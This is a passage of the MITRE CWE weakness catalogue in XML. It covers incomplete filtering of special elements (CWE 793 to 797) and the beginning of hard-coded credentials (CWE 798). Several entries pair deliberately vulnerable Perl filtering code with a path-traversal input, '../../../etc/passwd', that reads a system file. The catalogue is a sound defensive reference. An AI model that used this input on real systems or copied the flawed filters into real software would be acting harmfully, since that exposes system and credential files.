					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="793" Name="Only Filtering One Instance of a Special Element" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.</Description>
         <Extended_Description>Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="792" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="794" Name="Incomplete Filtering of Multiple Instances of Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>Incomplete filtering of this nature may be applied to:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>sequential elements (special elements that appear next to each other) or</xhtml:li>
                  <xhtml:li>non-sequential elements (special elements that appear multiple times in different locations).</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="792" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="795" Name="Only Filtering Special Elements at a Specified Location" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>A filter might only account for instances of special elements when they occur:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>relative to a marker (e.g. "at the beginning/end of string; the second argument"), or</xhtml:li>
                  <xhtml:li>at an absolute position (e.g. "byte number 10").</xhtml:li>
               </xhtml:ul>
            <xhtml:p>This may leave special elements in the data that did not match the filter position, but still may be dangerous.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="791" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-3">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/^\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-4">
               <Intro_Text>The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>if (substr($Username, 0, 3) eq '../') {<xhtml:div style="margin-left:1em;">$Username = substr($Username, 3);</xhtml:div>}<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" filtered, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="796" Name="Only Filtering Special Elements Relative to a Marker" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="795" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-3">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/^\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="797" Name="Only Filtering Special Elements at an Absolute Position" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="795" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-4">
               <Intro_Text>The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>if (substr($Username, 0, 3) eq '../') {<xhtml:div style="margin-left:1em;">$Username = substr($Username, 3);</xhtml:div>}<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" filtered, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="798" Name="Use of Hard-coded Credentials" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.</Description>
         <Extended_Description>
            <xhtml:p>Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the product administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:</xhtml:p>
            <xhtml:div style="margin-left:1em;">
               <xhtml:div>Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.</xhtml:div>
               <xhtml:div>Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component.</xhtml:div>
            </xhtml:div>
            <xhtml:p>In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.</xhtml:p>
            <xhtml:p>The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1391" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="344" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="671" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="257" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Other</Impact>
               <Note>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.</Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.</xhtml:p>
               </Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Network Sniffer</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
